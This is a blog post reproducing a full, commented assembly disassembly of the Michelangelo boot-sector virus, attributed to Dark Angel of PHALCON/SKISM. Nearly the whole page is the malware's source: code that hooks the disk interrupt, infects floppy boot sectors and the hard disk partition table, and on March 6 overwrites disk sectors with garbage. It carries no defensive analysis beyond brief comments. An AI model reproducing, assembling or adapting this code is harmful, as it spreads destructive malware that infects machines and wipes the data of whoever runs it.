Michelangelo virus.disassembly - Projeto TI
Headlines News :

.

Home » » Michelangelo virus.disassembly

Michelangelo virus.disassembly

Written By x86_g on 2013-05-20 | 6:46 AM




--------------------------------
CODE:


; This is a disassembly of the much-hyped michelangelo virus.
; As you can see, it is a derivative of the Stoned virus.  The
; junk bytes at the end of the file are probably throwbacks to
; the Stoned virus.  In any case, it is yet another boot sector
; and partition table infector.

michelangelo    segment byte public
  assume  cs:michelangelo, ds:michelangelo
; Disassembly by Dark Angel of PHALCON/SKISM
  org     0

  jmp     entervirus
highmemjmp      db      0F5h, 00h, 80h, 9Fh
maxhead         db      2                       ; used by damagestuff
firstsector     dw      3
oldint13h       dd      0C8000256h

int13h:
  push    ds
  push    ax
  or      dl, dl                  ; default drive?
  jnz     exitint13h              ; exit if not
  xor     ax, ax
  mov     ds, ax
  test    byte ptr ds:[43fh], 1   ; disk 0 on?
  jnz     exitint13h              ; if not spinning, exit
  pop     ax
  pop     ds
  pushf
  call    dword ptr cs:[oldint13h]; first call old int 13h
  pushf
  call    infectdisk              ; then infect
  popf
  retf    2
exitint13h:     pop     ax
  pop     ds
  jmp     dword ptr cs:[oldint13h]

infectdisk:
  push    ax
  push    bx
  push    cx
  push    dx
  push    ds
  push    es
  push    si
  push    di
  push    cs
  pop     ds
  push    cs
  pop     es
  mov     si, 4
readbootblock:
  mov     ax,201h                 ; Read boot block to
  mov     bx,200h                 ; after virus
  mov     cx,1
  xor     dx,dx
  pushf
  call    oldint13h
  jnc     checkinfect             ; continue if no error
  xor     ax,ax
  pushf
  call    oldint13h               ; Reset disk
  dec     si                      ; loop back
  jnz     readbootblock
  jmp     short quitinfect        ; exit if too many failures
checkinfect:
  xor     si,si
  cld
  lodsw
  cmp     ax,[bx]                 ; check if already infected
  jne     infectitnow
  lodsw
  cmp     ax,[bx+2]               ; check again
  je      quitinfect
infectitnow:
  mov     ax,301h                 ; Write old boot block
  mov     dh,1                    ; to head 1
  mov     cl,3                    ; sector 3
  cmp     byte ptr [bx+15h],0FDh  ; 360k disk?
  je      is360Kdisk
  mov     cl,0Eh
is360Kdisk:
  mov     firstsector,cx
  pushf
  call    oldint13h
  jc      quitinfect              ; exit on error
  mov     si,200h+offset partitioninfo
  mov     di,offset partitioninfo
  mov     cx,21h                  ; Copy partition table
  cld
  rep     movsw
  mov     ax,301h                 ; Write virus to sector 1
  xor     bx,bx
  mov     cx,1
  xor     dx,dx
  pushf
  call    oldint13h
quitinfect:
  pop     di
  pop     si
  pop     es
  pop     ds
  pop     dx
  pop     cx
  pop     bx
  pop     ax
  retn
entervirus:
  xor     ax,ax
  mov     ds,ax
  cli
  mov     ss,ax
  mov     ax,7C00h                ; Set stack to just below
  mov     sp,ax                   ; virus load point
  sti
  push    ds                      ; save 0:7C00h on stack for
  push    ax                      ; later retf
  mov     ax,ds:[13h*4]
  mov     word ptr ds:[7C00h+offset oldint13h],ax
  mov     ax,ds:[13h*4+2]
  mov     word ptr ds:[7C00h+offset oldint13h+2],ax
  mov     ax,ds:[413h]            ; memory size in K
  dec     ax                      ; 1024 K
  dec     ax
  mov     ds:[413h],ax            ; move new value in
  mov     cl,6
  shl     ax,cl                   ; ax = paragraphs of memory
  mov     es,ax                   ; next line sets seg of jmp
  mov     word ptr ds:[7C00h+2+offset highmemjmp],ax
  mov     ax,offset int13h
  mov     ds:[13h*4],ax
  mov     ds:[13h*4+2],es
  mov     cx,offset partitioninfo
  mov     si,7C00h
  xor     di,di
  cld
  rep     movsb                   ; copy to high memory
      ; and transfer control there
  jmp     dword ptr cs:[7C00h+offset highmemjmp]
; destination of highmem jmp
  xor     ax,ax
  mov     es,ax
  int     13h                     ; reset disk
  push    cs
  pop     ds
  mov     ax,201h
  mov     bx,7C00h
  mov     cx,firstsector
  cmp     cx,7                    ; hard disk infection?
  jne     floppyboot              ; if not, do floppies
  mov     dx,80h                  ; Read old partition table of
  int     13h                     ; first hard disk to 0:7C00h
  jmp     short exitvirus
floppyboot:
  mov     cx,firstsector          ; read old boot block
  mov     dx,100h                 ; to 0:7C00h
  int     13h
  jc      exitvirus
  push    cs
  pop     es
  mov     ax,201h                 ; read boot block
  mov     bx,200h                 ; of first hard disk
  mov     cx,1
  mov     dx,80h
  int     13h
  jc      exitvirus
  xor     si,si
  cld
  lodsw
  cmp     ax,[bx]                 ; is it infected?
  jne     infectharddisk          ; if not, infect HD
  lodsw                           ; check infection
  cmp     ax,[bx+2]
  jne     infectharddisk
exitvirus:
  xor     cx,cx                   ; Real time clock get date
  mov     ah,4                    ; dx = mon/day
  int     1Ah
  cmp     dx,306h                 ; March 6th
  je      damagestuff
  retf                            ; return control to original
      ; boot block @ 0:7C00h
damagestuff:
  xor     dx,dx
  mov     cx,1
smashanothersector:
  mov     ax,309h
  mov     si,firstsector
  cmp     si,3
  je      smashit
  mov     al,0Eh
  cmp     si,0Eh
  je      smashit
  mov     dl,80h                  ; first hard disk
  mov     maxhead,4
  mov     al,11h
smashit:
  mov     bx,5000h                ; random memory area
  mov     es,bx                   ; at 5000h:5000h
  int     13h                     ; Write al sectors to drive dl
  jnc     skiponerror             ; skip on error
  xor     ah,ah                   ; Reset disk drive dl
  int     13h
skiponerror:
  inc     dh                      ; next head
  cmp     dh,maxhead              ; 2 if floppy, 4 if HD
  jb      smashanothersector
  xor     dh,dh                   ; go to next head/cylinder
  inc     ch
  jmp     short smashanothersector
infectharddisk:
  mov     cx,7                    ; Write partition table to
  mov     firstsector,cx          ; sector 7
  mov     ax,301h
  mov     dx,80h
  int     13h
  jc      exitvirus
  mov     si,200h+offset partitioninfo ; Copy partition
  mov     di,offset partitioninfo      ; table information
  mov     cx,21h
  rep     movsw
  mov     ax,301h                 ; Write to sector 8
  xor     bx,bx                   ; Copy virus to sector 1
  inc     cl
  int     13h
;*              jmp     short 01E0h
  db      0EBh, 32h               ; ?This should crash?
; The following bytes are meaningless.
garbage         db      1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
partitioninfo:  db      42h dup (0)
michelangelo    ends
  end


-----------------------------

Share this article :

0 comentários:

Postar um comentário